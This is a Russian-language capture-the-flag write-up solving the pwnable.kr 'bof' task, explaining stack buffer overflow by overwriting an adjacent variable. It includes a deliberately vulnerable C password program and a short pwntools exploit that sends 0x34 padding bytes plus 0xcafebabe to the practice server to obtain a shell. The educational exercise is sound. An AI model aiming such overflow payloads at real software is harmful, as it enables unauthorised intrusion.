Хабрахабр

Решение задания с pwnable.kr 03 — bof. Переполнение буфера в стеке

image

В данной статье разберем такой тип уязвимости, как переполнение буфера в стеке, и решим 3-е задание с сайта pwnable.kr.

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях.

Переполнение буфера

Переполнение буфера — уязвимость в компьютерных программах, основанная на возможности записи данных за пределами выделенного в памяти буфера, возникающая, как правило, из-за неконтролируемых получения и обработки данных извне. Использование языками высоко уровня технологии стекового кадра ведет к смешиванию управляющих данных и данных программы.

Данный вид переполнения буфера известен как Stack smashing и может эксплуатироваться следующими способами: В данной статье разберем только переполнение буфера в стеке.

  • перезапись локальной переменной, находящейся в памяти рядом с буфером;
  • перезапись адреса возврата в стековом кадре;
  • перезапись указателя на функцию или обработчик исключений;
  • перезапись параметра из другого стекового кадра.

В данном задании применяется метод перезаписи локальной переменной. Рассмотрим его суть на следующем примере:

#include <stdio.h>
#include <string.h> int main(){ char pass[9] = "p@ssw0rd\x00"; char buf[9]; printf("Input password: "); scanf("%s", buf); if(!strcmp(pass, buf)) printf("Login ok!!!\n"); else printf("FAIL...\n"); return 0;
}

Так как переменная pass определена раньше, переменная buf, то ее возможно переполнить. Если ввести в buf больше, чем 9 байт, то они перепишут данные в переменной pass. Таким образом возможно “изменить” пароль на свой, передав программе, к примеру, такую строку 11111111\x0011111111\x00.

image

image

Решение задания bof

Нажимаем на иконку с подписью bof, и нам предоставляют исходный код, саму программу, а также адрес и порт для TCP-соединения.

image

Давай просмотрим исход код.

image

Но так как ввод не контролируется, а ключ определен раньше нашего буфера, мы можем переполнить буфер и перезаписать ключ. Из кода следует, что программа принимает строку, но сравнивает уже изначально зашитый ключ с контрольным значением. Для этого необходимо определить взаимное расположение переменных в памяти.

Откроем Cutter, укажем путь к исполняемому файлу. Для анализа программы я буду использовать Cutter.

image

image

image

В списке функций выбираем main. Cutter отправляет нас сразу в точку entry.

image

В main видим вызов нашей функции, откроем ее, выполнив двойной клик по названию функции.

image

Как можно определить, наш буфер — это переменная var_2ch, а ключ — arg_8h. Перед кодом функции имеется комментарий, где отражаются используемые в функции переменные и их адреса относительно базы текущего кадра стека (ebp).

image

image

Для этого достаточно найти разницу между адресами. Вычислим, сколько байт нам нужно перезаписать.

image

Для удобства я использую библиотеку pwntools. Таким образом нам нужно послать программе 0x34 любых байта, а потом дописать эталонное значение для примера.

from pwn import * conn = remote('pwnable.kr', 9000) payload = 'A' * 0x34
payload += '\xbe\xba\xfe\xca' conn.send(payload) conn.interactive()

Получаем шелл и просматриваем флаг.

image

Как результат, получаем свои очки.

image

В следующей статье поговорим об упаковке исполняемых файлов и решим четвертое задание. В данной статье мы рассмотрели пример эксплуатации переполнения буффера в стеке, познакомились с инструментом Cutter и библиотекой pwntools. До встречи в следующих статьях.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть